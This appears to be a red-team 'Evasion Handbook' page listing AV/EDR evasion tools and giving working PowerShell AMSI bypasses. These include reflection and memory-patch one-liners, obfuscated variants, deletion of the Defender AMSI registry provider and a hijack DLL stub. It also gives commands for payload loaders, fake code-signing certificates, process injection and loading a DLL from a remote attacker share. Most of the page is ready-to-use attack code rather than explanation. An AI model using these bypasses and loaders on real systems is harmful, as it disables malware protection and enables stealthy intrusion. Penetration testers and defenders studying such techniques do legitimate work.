Evasion Handbook

Resources

Resources

Name	Description	URL
AMSI Bypass Powershell	This repo contains some Antimalware Scan Interface (AMSI) bypass / avoidance methods i found on different Blog Posts.	https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell
AmsiHook	AmsiHook is a project I created to figure out a bypass to AMSI via function hooking.	https://github.com/tomcarver16/AmsiHook
AMSI.fail	AMSI.fail generates obfuscated PowerShell snippets that break or disable AMSI for the current process.	http://amsi.fail
BOAZ_beta	Multilayered AV/EDR Evasion Framework	https://github.com/thomasxm/BOAZ_beta
charlotte	c++ fully undetected shellcode launcher ;)	https://github.com/9emin1/charlotte
Chimera	Chimera is a PowerShell obfuscation script designed to bypass AMSI and commercial antivirus solutions.	https://github.com/tokyoneon/Chimera
Codecepticon	.NET/PowerShell/VBA Offensive Security Obfuscator	https://github.com/sadreck/Codecepticon
ConfuserEx	An open-source, free protector for .NET applications	https://github.com/yck1509/ConfuserEx
DefenderCheck	Identifies the bytes that Microsoft Defender flags on.	https://github.com/matterpreter/DefenderCheck
Donut	Generates x86, x64, or AMD64+x86 position-independent shellcode that loads .NET Assemblies, PE files, and other Windows payloads from memory and runs them with parameters.	https://github.com/TheWover/donut
EDRSandBlast	EDRSandBlast is a tool written in C that weaponize a vulnerable signed driver to bypass EDR detections (Notify Routine callbacks, Object Callbacks and ETW TI provider) and LSASS protections.	https://github.com/wavestone-cdt/EDRSandblast
Freeze	Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods	https://github.com/Tylous/Freeze
Hades	Go shellcode loader that combines multiple evasion techniques	https://github.com/f1zm0/hades
Invoke-Obfuscation	PowerShell Obfuscator	https://github.com/danielbohannon/Invoke-Obfuscation
LimeLighter	A tool for generating fake code signing certificates or signing real ones	https://github.com/Tylous/Limelighter
macro_pack	macro_pack is a tool by @EmericNasi used to automatize obfuscation and generation of Office documents, VB scripts, shortcuts, and other formats for pentest, demo, and social engineering assessments.	https://github.com/sevagas/macro_pack
mimikatz Obfuscator	This script downloads and slightly obfuscates the mimikatz project.	https://gist.github.com/imaibou/92feba3455bf173f123fbe50bbe80781
Mortar Loader	Evasion technique to defeat and divert detection and prevention of security products (AV/EDR/XDR)	https://github.com/0xsp-SRD/mortar
neo-ConfuserEx	Updated ConfuserEX, an open-source, free obfuscator for .NET applications	https://github.com/XenocodeRCE/neo-ConfuserEx
NET-Obfuscate	Obfuscate ECMA CIL (.NET IL) assemblies to evade Windows Defender AMSI	https://github.com/BinaryScary/NET-Obfuscate
NetLoader	Loads any C# binary in mem, patching AMSI + ETW.	https://github.com/Flangvik/NetLoader
NimBlackout	Kill AV/EDR leveraging BYOVD attack	https://github.com/Helixo32/NimBlackout
Nimcrypt2	.NET, PE, & Raw Shellcode Packer/Loader Written in Nim	https://github.com/icyguider/Nimcrypt2
NimPackt-v1	Nim-based assembly packer and shellcode loader for opsec & profit	https://github.com/chvancooten/NimPackt-v1
Obfuscar	Open source obfuscation tool for .NET assemblies	https://github.com/obfuscar/obfuscar
Obfuscator-LLVM	The aim of this project is to provide an open-source fork of the LLVM compilation suite able to provide increased software security through code obfuscation and tamper-proofing.	https://github.com/obfuscator-llvm/obfuscator
OffensivePipeline	OffensivePipeline allows to download, compile (without Visual Studio) and obfuscate C# tools for Red Team exercises.	https://github.com/Aetsu/OffensivePipeline
PowerShell Encoder (CyberChef)	Receipe for encoding PowerShell Payloads for Windows	https://cyberchef.io/#recipe=Encode_text('UTF-16LE%20(1200)')To_Base64('A-Za-z0-9%2B/%3D')
PSByPassCLM	Bypass for PowerShell Constrained Language Mode	https://github.com/padovah4ck/PSByPassCLM
Raikia's Hub	Online repository for Red Teamers	https://raikia.com/tool-powershell-encoder/
ScareCrow	Payload creation framework designed around EDR bypass.	https://github.com/Tylous/ScareCrow
SharpEvader	This is a python script which automatically generates metepreter tcp or https shellcode encodes it and slaps some Behavioural detection in a c# Project for you to build and run	https://github.com/Xyan1d3/SharpEvader
Shhhloader	Syscall Shellcode Loader (Work in Progress)	https://github.com/icyguider/Shhhloader
ShellcodeEncryptor	A simple shell code encryptor/decryptor/executor to bypass anti virus.	https://github.com/plackyhacker/Shellcode-Encryptor
ShellGhost	A memory-based evasion technique which makes shellcode invisible from process start to end.	https://github.com/lem0nSec/ShellGhost
Shikata Ga Nai	Shikata ga nai (仕方がない) encoder ported into go with several improvements.	https://github.com/EgeBalci/sgn
Simple Injector	A simple injector that uses LoadLibraryA	https://github.com/tomcarver16/SimpleInjector
TreatCheck	Identifies the bytes that Microsoft Defender / AMSI Consumer flags on.	https://github.com/rasta-mouse/ThreatCheck
unicorn	Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. Based on Matthew Graeber's powershell attacks and the powershell bypass technique presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.	https://github.com/trustedsec/unicorn
Veil	Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.	https://github.com/Veil-Framework/Veil
WorldWritableDirs.txt	World-writable directories in %windir%	https://gist.github.com/mattifestation/5f9de750470c9e0e1f9c9c33f0ec3e56
yetAnotherObfuscator	C# obfuscator that bypass windows defender	https://github.com/0xb11a1/yetAnotherObfuscator

AMSI

Test String

PS C:\> $str = 'amsiinitfailed'

Simple Bypass

PS C:\> $str = 'ams' + 'ii' + 'nitf' + 'ailed'

Obfuscated Bypass Techniques

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

PS C:\> S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

Bypass on Windows 11

https://github.com/senzee1984/Amsi_Bypass_In_2023

PS C:\> $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Failed") {$f=$e}};$f.SetValue($null,$true)

PS C:\>  $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like "*iUtils") {$c=$b}};$d=$c.GetFields('NonPublic,Static');Foreach($e in $d) {if ($e.Name -like "*Context") {$f=$e}};$g=$f.GetValue($null);$ptr = [System.IntPtr]::Add([System.IntPtr]$g, 0x8);$buf = New-Object byte[](8);[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 8)

PowerShell Downgrade

PS C:\> powershell -version 2

Fabian Mosch / Matt Graeber Bypass

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Base64 Encoded

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

Hooking

https://github.com/tomcarver16/SimpleInjector

https://github.com/tomcarver16/AmsiHook

PS C:\> .\SimpleInjector.exe powershell.exe .\AMSIHook.dll

Memory Patching

https://github.com/rasta-mouse/AmsiScanBufferBypass

The patch return always AMSI_RESULT_CLEAN and shows the following line.

static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

Load and Execute the DLL

[System.Reflection.Assembly]::LoadFile("C:\Users\pentestlab\ASBBypass.dll")
[Amsi]::Bypass()

The tool AMSITrigger v3 can be used to discover the strings which are making calls to the AmsiScanBuffer.

https://github.com/RythmStick/AMSITrigger

PS C:\> .\AmsiTrigger_x64.exe -i .\ASBBypass.ps1

Obfuscating the contained code within the script will evade AMSI.

${_/==\_/\__/===\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))
Add-Type ${_/==\_/\__/===\_/}
${__/=\/==\/\_/=\_/} = [Win32]::LoadLibrary("am" + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBpAC4AZABsAGwA'))))
${___/====\__/=====} = [Win32]::GetProcAddress(${__/=\/==\/\_/=\_/}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGEAbgA='))) + $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYAZgBlAHIA'))))
${/==\_/=\/\__/\/\/} = 0
[Win32]::VirtualProtect(${___/====\__/=====}, [uint32]5, 0x40, [ref]${/==\_/=\/\__/\/\/})
${_/\__/=\/\___/==\} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${_/\__/=\/\___/==\}, 0, ${___/====\__/=====}, 6)

Forcing an Error

Forcing AMSI to fail (amsiInitFailed) will result that no scan will be initiated for the current process.

PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Avoiding the use of strings with the usage of variables can also evade AMSI.

$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

Forcing an error in order to send the flag in a legitimate way is another option. This bypass allocates a memory region for the amsiContext and since the amsiSession is set to null it will result an error.

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null, $null);

An obfuscated version of this bypass can be found on AMSI.fail.

$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-8092));[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[chAR](68+26-26)) -replace [CHAR](24+68)+[chaR]([BytE]0x70)+[CHar]([bYtE]0x7b)+[cHAr](77+45-45)+[chaR](62+48)+[CHAR](125*118/118))", "NonPublic,Static").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+[ChaR](111+67-67)+[char]([BytE]0x6e)+[cHaR]([bYtE]0x74)+[cHAr](101)+[CHar](120)+[cHAR](116))", "NonPublic,Static").SetValue($null, [IntPtr]$fwi);

Registry Key Modification

GUID for Windows Defender.

KLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}

The key can be removed to stop the AMSI provider to perform AMSI inspection and evade the control. Notice that this requires elevated rights.

Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}" -Recurse

DLL Hijacking

Requirement is to create a non-legitimate amsi.dll and place it in the same folder as the 64 Bit version of PowerShell. The PowerShell executable also can be copied into a writeable directory.

#include "pch.h"
#include "iostream"

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        LPCWSTR appName = NULL;
        typedef struct HAMSICONTEXT {
            DWORD       Signature;            // "AMSI" or 0x49534D41
            PWCHAR      AppName;           // set by AmsiInitialize
            DWORD       Antimalware;       // set by AmsiInitialize
            DWORD       SessionCount;      // increased by AmsiOpenSession
        } HAMSICONTEXT;
        typedef enum AMSI_RESULT {
            AMSI_RESULT_CLEAN,
            AMSI_RESULT_NOT_DETECTED,
            AMSI_RESULT_BLOCKED_BY_ADMIN_START,
            AMSI_RESULT_BLOCKED_BY_ADMIN_END,
            AMSI_RESULT_DETECTED
        } AMSI_RESULT;

        typedef struct HAMSISESSION {
            DWORD test;
        } HAMSISESSION;

        typedef struct r {
            DWORD r;
        };

        void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT * amsiContext);
        void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION * amsiSession);
        void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION amsiSession);
        void AmsiResultIsMalware(r);
        void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result);
        void AmsiScanString(HAMSICONTEXT amsiContext, LPCWSTR string, LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT * result);
        void AmsiUninitialize(HAMSICONTEXT amsiContext);
    }
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

AntiVirus Evasion

Basic Notes

Antivirus Detections	Evasion
Signatures	Custom Payloads
	Obfuscation
	- Encoding/Encryption
	- Scrambling ('mimikatz' -> 'miMi'+'KatZ')
Heuristics/Behavioral	Polymorphism
	Custom Payloads

Donut

https://github.com/TheWover/donut

Installation

$ make
$ make clean
$ make debug

Obfuscation

$ donut -a 2 -f 1 -o donutpayload.bin shellcode.exe

Freeze

https://github.com/Tylous/Freeze

Installation

$ git clone https://github.com/Tylous/Freeze
$ cd Freeze
$ go build Freeze.go

$ go get golang.org/x/sys/windows

Common Commands

$ ./Freeze -I <FILE>.bin -O <FILE>.exe
$ ./Freeze -I <FILE>.exe -O <FILE>.exe
$ ./Freeze -I <FILE>.bin -encrypt -sandbox -O <FILE>.exe
$ ./Freeze -I <FILE>.exe -encrypt -sandbox -O <FILE>.exe
$ ./Freeze -I <FILE>.bin -encrypt -sandbox -process "C:\\Windows\\System32\\msedge.exe" -O <FILE>.exe
$ ./Freeze -I <FILE>.exe -encrypt -sandbox -process "C:\\Windows\\System32\\msedge.exe" -O <FILE>.exe

LimeLighter

https://github.com/Tylous/Limelighter

Installer

$ sudo apt-get install openssl osslsigncode
$ git clone github.com/Tylous/Limelighter
$ cd Limelighter
$ go mod init github.com/Tylous/Limelighter
$ go get github.com/fatih/color
$ go build LimeLighter.go

Execution

$ ./Limelighter -I <FILE>.exe -O <FILE>.exe -Domain <DOMAIN>
$ ./Limelighter -Verify <FILE>.exe

ScareCrow

https://github.com/Tylous/ScareCrow

Obfuscation

Shellcode

$ ScareCrow -I <FILE>.bin -Loader binary -domain <FAKE_DOMAIN>

DLL Side-Loading

$ ScareCrow -I <FILE>.bin -Loader dll -domain <FAKE_DOMAIN>

Windows Script Host

$ ScareCrow -I <FILE>.bin -Loader msiexec -domain <FAKE_DOMAIN> -O payload.js

Control Panel Files

$ ScareCrow -I <FILE>.bin -Loader control -domain <FAKE_DOMAIN>

Process Injection

$ ScareCrow -I <FILE>.bin -injection "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" -domain <FAKE_DOMAIN>

Renaming Payload

$ mv <FILE>.dll <FILE>32.dll

Execution

PS C:\> rundll32.exe .\<FILE>32.dll,DllRegisterServer

or

PS C:\> regsvr32 /s .\<FILE>32.dll

For .cpl-Files a simple double click is enough to execute them.

Evasion focused Execution

PS C:\> odbcconf /s /a {regsvr \\<LHOST>\<FILE>.dll}
PS C:\> odbcconf /s /a {regsvr \\<LHOST>\<FILE>_dll.txt}

Shhhloader

https://github.com/icyguider/Shhhloader

$ python3 Shhhloader.py <FILE>.bin -p <FILE>.exe

Files

evasion.md

Latest commit

History

evasion.md

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Evasion Handbook

Table of Contents

Resources

AMSI

Test String

Simple Bypass

Obfuscated Bypass Techniques

Bypass on Windows 11

PowerShell Downgrade

Fabian Mosch / Matt Graeber Bypass

Base64 Encoded

Hooking

Memory Patching

Load and Execute the DLL

Forcing an Error

Registry Key Modification

DLL Hijacking

AntiVirus Evasion

Basic Notes

Donut

Installation

Obfuscation

Freeze

Installation

Common Commands

LimeLighter

Installer

Execution

ScareCrow

Obfuscation

Shellcode

DLL Side-Loading

Windows Script Host

Control Panel Files

Process Injection

Renaming Payload

Execution

Evasion focused Execution

Shhhloader